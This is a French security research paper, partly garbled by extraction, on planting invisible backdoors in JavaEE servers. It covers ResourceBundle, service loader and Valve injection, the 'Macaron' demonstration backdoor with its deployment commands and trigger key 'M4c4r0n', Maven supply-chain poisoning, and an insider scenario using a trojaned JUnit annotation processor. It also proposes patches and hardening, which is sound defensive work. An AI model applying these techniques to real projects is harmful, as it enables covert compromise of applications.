Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

